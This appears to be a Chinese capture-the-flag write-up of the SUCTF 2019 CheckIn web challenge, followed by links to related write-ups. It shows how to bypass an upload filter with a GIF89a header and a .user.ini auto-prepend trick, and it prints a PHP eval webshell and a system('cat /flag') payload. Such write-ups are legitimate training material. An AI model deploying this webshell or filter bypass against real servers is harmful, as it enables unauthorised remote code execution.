[SUCTF 2019]CheckIn

web第25题
[SUCTF 2019]CheckIn

打开靶场

看来是一个文件上传的题
上传正常图片

返回路径，注意到有一个index.php
尝试直接上传一句话木马shell.php

提示非法后缀
尝试使用burp抓包修改后缀

经过测试，基本都被过滤了，尝试上传.htaccess文件

得到提示，看来使用了exif_imagetype函数来检查是否是图片文件
在木马中加上GIF89a进行图片文件欺骗

尝试上传

看来对文件内容进行了检查，不允许有<?
参考我做的另一道题的绕过方法buuctf初学者学习记录–web第9题
换一个一句话木马

<script language="php">eval($_POST['shell']);</script>

ps：根据经验，一般flag都放在根目录下，可以将一句话木马直接改成<script language='php'>system('cat /flag');</script>，此时访问index.php就会直接列出flag，这里没这么做

进行上传

上传成功，并且提示目录下有123.gif,index.php
但是由于.htaccess文件不允许上传，无法将gif文件解析为php文件
经过查找，参考：.user.ini文件构成的PHP后门
官方文档的解释如下：

下图引用于另一位大佬的解释：原文链接

得到.user.ini文件可以达到此效果，并且甚至可以比.htaccess文件用途更广
参考上面的连接，编写.user.ini文件

这句代码的意思是，指定123.gif文件每次都包含在要执行的php文件前，前提是目录下有.php文件。上文中提到了目录下有index.php文件，那么满足条件，只要访问index.php，那么123.gif文件的代码都会先执行
尝试上传

额。我忘了还有这个函数，在文件前添加GIF89a然后上传

上传成功
可以看到目录下的3个文件，这时，访问index.php就会将123.gif中的代码包含进去，使得其成为一个shell脚本
此时用蚁剑无法连接，不知道为啥，既然知道路径，那就直接使用post提交命令scandir扫描根目录，一般flag都放在根目录

看到根目录下有flag文件，直接用file_get_contents函数进行读取，得到flag

[SUCTF 2019]CheckIn相关推荐

[SUCTF 2019] SignIn
[SUCTF 2019] SignIn 如果对本文存在有疑问或需要工具可以在下方给我留言! 这题比较简单题目下载地址:https://www.lanzoux.com/iawzl2f 程序没有加壳,直 ...
[SUCTF 2019]Game
[SUCTF 2019]Game 题目地址 : https://buuoj.cn/challenges#[SUCTF%202019]Game 题目一共两个附件,先把src.zip 解压,在src目录下 ...
web buuctf [SUCTF 2019]Pythonginx1
知识点:1.nignx 2.idna编码与utf-8编码的漏洞 1.开题查看源码,整理代码: @app.route('/getUrl', methods=['GET', 'POST']) def g ...
BUUCTF：[SUCTF 2019]Game
https://buuoj.cn/challenges#[SUCTF%202019]Game index.html中发现一串base32 >>> import base64 > ...
BUUCTF-WEB：[SUCTF 2019]EasySQL 1
解题思路: ①先试试1'# 发现没有回显 ②试试1 有回显 ③试试单引号注入 ④试试用order by查询表的列数:1 order by 1 用不了联合注入了! 下面尝试使用堆叠注入: payloa ...
[SUCTF 2019]EasySQL1
1.老规矩,先输入1 2.输入1 or 1,页面提示nonono,说明or已被列入黑名单,通过我们尝试,and,union等等都被列入黑名单. 3.我们来判断参数是否被引号,双引号,括号包裹. 输入1 ...
[SUCTF 2019]EasySQL1 (buu一周目速通)
进入靶机,根据题目是一道sql注入题目,经过普通手段注入发现大部分关键词都被过滤了, Array ( [0] => 1 ) 一解:发现输入数字回显代码,字母不回显,所以猜测后台代码存在 ||(或 ...
BUUctf刷题第三天
[极客大挑战 2019]BuyFlag 进去是一个网页,查看源代码说只有啥玩意的学生才能买,就抓包看看发现cookie后面有个user=0,改成一试试改完后说我是啥啥啥的学生了可以支付购买了结 ...
buuctf web1
目录 [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [强网杯 2019]随便注 [SU ...

[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn相关推荐

最新文章

热门文章